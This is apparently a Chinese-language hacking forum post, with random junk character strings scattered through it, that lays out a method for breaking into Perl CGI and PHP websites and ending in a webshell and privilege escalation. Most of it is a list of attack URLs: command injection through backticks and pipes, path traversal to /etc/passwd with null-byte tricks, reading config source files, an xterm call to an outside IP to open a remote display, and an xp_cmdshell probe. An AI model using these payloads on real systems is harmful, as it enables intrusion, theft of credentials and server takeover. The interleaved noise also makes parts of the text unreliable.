总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
7 L9 T( }2 \' \- B9 Q) t. H# F/ T3 Fcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 $ Z9 _/ F0 W3 u# D# x) r5 I) c
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 . |. v: {8 x' q5 |+ P2 ~
注“
m8 X% M. o6 i- }4 y% Bperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 7 D3 Y$ G# s( k' b. U P+ T, u! W
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET % G0 |# S8 n( t: O$ a" g, l
( ~+ Q0 E0 j* ]0 Shttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造 ' \; X; J$ V/ G& j& j! i9 \8 z
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
$ _0 l4 X; w2 A% F% u5 c/ [http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
' o7 F( Y. K- r3 fhttp://target.com/cgi-bin/home/news/sub.pl?`id`
0 a8 O- h+ t u: a3 [, P* Zhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
8 @1 b6 Y8 e2 `% k2 G' S+ shttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 # P; v% B! ^3 e/ c' V0 E
8 c. C/ I7 z* ~" Hhttp://target.com/test.pl;ls|
. M7 ?$ R& @* Y0 x: a; F$ Thttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
0 I1 ~, Y% S9 g! E2 |! n( Phttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| ' L- g4 h8 \. b# g, W3 [4 t' Q0 |
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
: ^+ t- t) x, _5 u比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
9 d0 i; S i3 Q7 Y- k) Lhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
1 U t. s9 a, W0 {8 @
7 o! w; A& F2 G4 s8 v( T5 P, T( Bhttp://target.com/test.pl?&........ /../../etc/passwd
5 \, e/ M" J$ l/ \! N" K+ S8 [% @: E+ {& [5 F! n$ t: [& ^# I
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
6 ~. I( n. m/ L; dhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
1 p% P- a/ Z! g- k& [http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 * [! Z- h" s) Y) V! N `
. A- E8 U) j6 w2 T+ c+ d1 ehttp://www.target.org/show.php?f ... /include/config.php 查看php代码 9 C( r5 |% q0 T- U n: q2 o
http://www.target.org/show.php?f ... ng/admin/global.php ; a0 A/ S! N" c& y) I# a) K5 e
: t( p' _4 M# z8 o8 V# `emm和ps的一句话
" L8 A6 e/ N5 Q9 E3 _
) o5 F9 k. K6 ?: v5 u2 _ t+ W" lhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 5 e8 C ^9 t* m* [4 |$ i
# O. @0 l* n, j) X
>bbb%20| - A. }0 G) ]3 v/ P% Y4 u. N
; K! M, t ?7 _: F5 w& ~8 i l$ ]http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
* x' d( N$ d$ |. F( {% b8 b+ h+ p% ]( {+ }7 t; C# h
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
; b5 m `* V, P* M6 l9 |http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin . w- G- W! ?7 j! C. ^+ u
6 d% D# A g, N相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
& A" H$ Q$ V. a G: I4 E! e& bhttp://target.com/index.html#cmd.exe ) K6 ]. J0 s7 p$ f: s
http://target.com/index.html?dummyparam=xp_cmdshell
# z7 M6 z h4 x/ t, @lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd ! _( p- H, |' {* n9 `. |4 k* g
|